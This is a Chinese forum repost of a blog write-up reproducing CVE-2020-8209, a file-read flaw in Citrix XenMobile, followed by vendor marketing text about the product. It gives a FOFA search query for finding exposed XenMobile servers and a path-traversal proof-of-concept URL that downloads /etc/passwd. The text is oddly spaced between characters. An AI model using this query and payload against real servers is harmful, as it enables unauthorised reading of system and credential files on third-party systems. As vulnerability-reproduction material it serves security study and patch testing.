搜索

[722] 2020-11-17_CVE-2020-8209（XenMobile文件读取漏洞复现）

文档创建者：s7ckTeam
浏览次数：44
最后更新：2025-01-16
2020-11-17_CVE-2020-8209（XenMobile文件读取漏洞复现） C V E - 2 0 2 0 - 8 2 0 9 （ X e n M o b i l e 文 件 读 取 漏 洞 复 现 ） 原 创   黑 子 黑   b g b i n g 安 全   2 0 2 0 - 1 1 - 1 7 我 们 用 f o f a 吧 ， f o f a 语 法 如 下 ： t i t l e = " X e n M o b i l e " 随 便 点 一 个 进 去 ， 是 一 个 登 陆 页 面 到 这 里 我 们 使 用 P O C ， P O C 如 下 ： 域 名 / j s p / h e l p - s b - d o w n l o a d . j s p ? s b F i l e N a m e = . . / . . / . . / e t c / p a s s w d
访 问 后 会 自 动 下 载 文 件 。 X e n M o b i l e X e n M o b i l e 提 供 了 一 种 可 靠 的 移 动 设 备 管 理 解 决 方 案 ， 可 以 对 企 业 设 备 和 员 工 个 人 设 备 进 行 基 于 角 色 的 管 理 、 配 置 和 支 持 并 确 保 安 全 性 。 与 只 能 提 供 基 本 设 备 管 理 软 件 的 大 多 数 厂 商 不 同 ， X e n M o b i l e 可 提 供 多 种 高 级 功 能 和 特 性 来 确 保 移 动 应 用 可 随 时 用 于 业 务 目 的 并 确 保 移 动 内 容 安 全 性 ， 如 区 域 防 护 （ g e o - f e n c i n g ） 、 自 动 化 合 规 性 及 一 键 式 实 时 聊 天 和 支 持 等 。
配 置 、 保 护 、 置 备 并 支 持 移 动 设 备 　 　 对 企 业 设 备 和 员 工 个 人 设 备 进 行 基 于 角 色 的 管 理 、 配 置 和 支 持 并 确 保 安 全 性 ， 能 够 将 应 用 列 入 黑 名 单 或 白 名 单 ， 检 测 越 狱 设 备 并 擦 除 不 符 合 规 定 的 设 备 中 的 数 据 。 　 　 统 一 企 业 应 用 商 店 　 　 使 用 户 可 从 任 何 设 备 上 通 过 单 一 渠 道 接 入 所 有 应 用 — — 移 动 、 W e b 、 S a a S 及 W i n d o w s 应 用 。 　 　 利 用 W o r x M o b i l e A p p s 保 护 电 子 邮 件 、 移 动 W e b 浏 览 器 和 文 档 共 享 应 用 　 　 利 用 思 杰 的 办 公 应 用 交 付 丰 富 的 用 户 体 验 ， 同 时 提 供 I T 部 门 所 需 的 管 理 和 控 制 能 力 。 　 　 通 过 W o r x A p p S D K 确 保 任 何 移 动 应 用 可 在 企 业 内 使 用 　 　 简 单 而 强 大 的 S D K ， 使 任 何 移 动 应 用 都 可 以 支 持 W o r x 。 　 　 多 因 子 单 点 登 录 　 　 实 现 对 所 有 移 动 、 W e b 和 W i n d o w s 应 用 的 安 全 单 点 登 录 ， 简 化 用 户 体 验 ， 而 不 需 要 用 户 记 住 一 个 又 一 个 密 码 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理